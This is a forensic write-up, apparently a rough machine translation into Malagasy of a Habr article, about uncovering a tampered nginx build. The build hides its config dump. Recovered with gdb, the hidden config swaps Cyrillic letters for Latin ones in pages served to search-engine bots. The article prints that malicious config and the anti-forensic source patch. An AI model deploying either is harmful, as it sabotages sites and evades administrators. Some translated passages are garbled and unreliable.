Rehefa tsy mitovy amin'ny 'a' ny 'a'. Taorian'ny hack

Nisy tantara tsy nahafinaritra indrindra nitranga tamin'ny namako iray. Saingy na dia tsy mahafinaritra aza ny zava-nitranga tamin'i Mikhail, dia nahafinaritra ahy ihany izany.

Tsy maintsy lazaiko fa tena tsara ilay namako UNIX-mpampiasa: afaka mametraka ny rafitra ny tenany MySQL, Fi ary manaova fanovana tsotra nginx.
Ary manana tranokala am-polony na iray sy sasany natokana ho an'ny fitaovana fanorenana izy.

Ny iray amin'ireo tranokala natokana ho an'ny tsofa rojo dia mipetraka tsara ao amin'ny TOP amin'ny milina fikarohana. Ity tranokala ity dia mpandinika tsy ara-barotra, saingy nisy olona zatra nanafika azy. IZAY DDoS, avy eo ny herisetra, avy eo manoratra fanehoan-kevitra vetaveta ary mandefa fanararaotana any amin'ny fampiantranoana sy any amin'ny RKN.
Tampoka teo, nilamina ny zava-drehetra ary nanjary tsy tsara io fitoniana io, ary nanomboka nandao tsikelikely ny tsipika ambony amin'ny valin'ny fikarohana ny tranokala.

Rehefa tsy mitovy amin'ny 'a' ny 'a'. Taorian'ny hack

Ohabolana io, avy eo ny tantaran'ny admin mihitsy.

Efa nanakaiky ny fotoana hatoriana ny telefaona naneno hoe: “San, tsy hijery ny mpizarako ve ianao? Toa nijirika aho, tsy afaka manaporofo izany aho, fa ny fahatsapana dia tsy nandao ahy nandritra ny herinandro fahatelo. Angamba izao no fotoana hitsaboako paranoia?”

Ny dinika naharitra antsasak'adiny taorian'izay dia azo fintinina toy izao:

  • ny tany ho an'ny hacking dia tena lonaka;
  • ny mpanafika dia afaka mahazo zo superuser;
  • ny fanafihana (raha nitranga) dia nokendrena manokana tamin'ity tranokala ity;
  • Ny faritra misy olana dia voahitsy ary mila mahatakatra fotsiny ianao raha misy ny fidirana;
  • ny hack dia tsy mety hisy fiantraikany amin'ny kaody tranonkala sy ny angon-drakitra.

Momba ny teboka farany.

Rehefa tsy mitovy amin'ny 'a' ny 'a'. Taorian'ny hack

Ny IP fotsy fotsy ihany no mijery izao tontolo izao. Tsy misy fifanakalozam-bola eo amin'ny backend sy frontend afa-tsy ny http(s), tsy mitovy ny mpampiasa/password, tsy misy lakile notakalo. Amin'ny adiresy miloko dia mihidy avokoa ny seranana rehetra afa-tsy 80/443. Ny IP backend fotsy dia fantatry ny mpampiasa roa, izay atokisan'i Mikhail tanteraka.

Apetraka amin'ny frontend Debian 9 ary amin'ny fotoana hanaovana ny antso, ny rafitra dia mitoka-monina amin'izao tontolo izao amin'ny alàlan'ny firewall ivelany ary mijanona.

“Eny, omeo fahafahana aho,” nanapa-kevitra ny hampiato ny torimaso mandritra ny adiny iray aho. "Hijery amin'ny masoko aho."

Eto ary bebe kokoa:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Mitady hack mety

Manomboka ny server aho, amin'ny voalohany fomba famonjena. Mametraka ny kapila aho ary mamadika azy ireo auth-hazo, tantara, diarin'ny rafitra, sns., Raha azo atao dia manamarina ny datin'ny famoronana rakitra aho, na dia azoko aza fa ny cracker mahazatra dia "nifatratra" taorian'ny tenany, ary i Misha dia efa "nanitsakitsaka" be dia be teo am-pitadiavana ny tenany. .

Manomboka amin'ny fomba mahazatra aho, tsy mbola azoko tsara izay tokony hotadiavina, mianatra ny configs aho. Izaho aloha dia liana nginx satria, amin'ny ankapobeny, tsy misy zavatra hafa eo amin'ny frontend afa-tsy izy.
Ny configs dia kely, voalamina tsara ho rakitra am-polony, mijery azy ireo fotsiny aho saka'oh tsirairay avy. Toa madio daholo ny zava-drehetra, saingy tsy fantatrao na oviana na oviana raha misy zavatra tsy azoko Anisan'izany, avelao aho hanao lisitra feno:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Tsy azoko hoe: "Aiza ny lisitra?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Ny fanontaniana faharoa dia ampiana amin'ny fanontaniana lisitra: "Nahoana no dikan-teny tranainy toy izany ny nginx?"

Ankoatr'izay, ny rafitra dia mino fa ny dikan-teny farany dia napetraka:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Miantso aho:
- Misha, nahoana ianao no nivory indray nginx?
- Andraso, tsy haiko akory ny manao an'izany!
- Ok, mandehana matory...

Nginx amboarina mazava tsara izy io ary nafenina noho ny antony ny fivoahan'ny lisitra mampiasa "-T". Tsy misy fisalasalana intsony momba ny hacking ary azonao atao ny manaiky izany ary (satria nosoloin'i Misha vaovao ny server) dia diniho fa voavaha ny olana.

Ary tokoa, satria nisy olona nahazo ny zo faka'ah, dia misy dikany fotsiny ny atao fametrahana indray ny rafitra, ary zava-poana ny nitady izay tsy nety tao, fa tamin'ity indray mitoraka ity dia resin'ny fahalianana ny torimaso. Ahoana no ahafantarantsika izay tian'izy ireo hafenina amintsika?

Andeha hojerentsika:

$ strace nginx -T

Raha jerena izany dia hita fa tsy ampy ny andalana ao amin'ny trace a la

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Mba hahafinaritra fotsiny, andeha hampitaha ny valiny.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Heveriko fa anisan'ny kaody /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

dia nentina tamin'ny endrika:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

na

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

noho izany dia tsy aseho ny lisitry ny "-T".

Ahoana anefa no hijerena ny config?

Raha marina ny eritreritro ary ny olana dia ao amin'ny variable ihany ngx_dump_config andeha isika hametraka azy amin'ny fampiasana gdb, soa ihany fa misy lakile --miaraka amin'ny-cc-opt -g ankehitriny ary manantena fa optimization -O2 tsy handratra antsika izany. Amin'izay fotoana izay ihany, satria tsy haiko hoe ahoana ngx_dump_config azo karakaraina ao tranga 'T':, tsy hiantso an'io sakana io izahay, fa apetraho amin'ny fampiasana tranga 't':

Nahoana ianao no afaka mampiasa '-t' sy '-T'Fanodinana sakana raha(ngx_dump_config) mitranga ao anatiny raha(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Mazava ho azy fa raha ovaina amin'ity ampahany ity ny code fa tsy ao tranga 'T':, dia tsy mandeha ny fomba fiasako.

Andrana nginx.confRehefa avy namaha ny olana tamin'ny andrana, dia hita fa ilaina ny fanamafisana kely indrindra ho an'ny malware mba hiasa nginx karazana:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Hampiasa azy io amin'ny fohifohy isika ao amin'ny lahatsoratra.

Alefaso ny debugger

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Tsikelikely:

  • mametraka teboka fiatoana amin'ny asa main ()
  • manomboka ny programa
  • manova ny sandan'ny variable izay mamaritra ny fivoahan'ny config ngx_dump_config=1
  • tohizo/tapitra ny fandaharana

Araka ny hitantsika, ny tena config dia tsy mitovy amin'ny antsika, dia mifidy sombin-kazo avy aminy isika:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Andeha hojerentsika ny zava-mitranga eto amin'ny filaharany.

Tapa-kevitra Agent Agentny yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Tsy tafiditra ao ny pejy serivisy WordPress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Ary ho an'ireo izay lavo amin'ireo fepetra roa ireo

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

amin'ny soratra HTML-miova ny pejy 'O' amin'ny 'o' и 'A' amin'ny 'A':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Marina izany, ny hany hafetsifetsena dia izay 'a' != 'a' tahaka ny 'o' != 'o':

Rehefa tsy mitovy amin'ny 'a' ny 'a'. Taorian'ny hack

Noho izany, ny bots motera fikarohana dia mahazo, fa tsy lahatsoratra Cyrillic 100% mahazatra, fako ovaina voadio amin'ny teny latinina. 'A' и 'o'. Tsy sahy miresaka momba ny fiantraikan'izany amin'ny SEO aho, saingy tsy azo inoana fa hisy fiantraikany tsara amin'ny toerana ao amin'ny valin'ny fikarohana ny litera toy izany.

Inona no azoko lazaina ry zalahy manana imagination.

soratra masina

Debugging amin'ny GDB
gdb(1) — Pejin'olona Linux
strace(1) — Pejin'olona Linux
Nginx - Module ngx_http_sub_module
Momba ny tsofa, tsofa rojo ary tsofa elektrika

Source: www.habr.com

Add a comment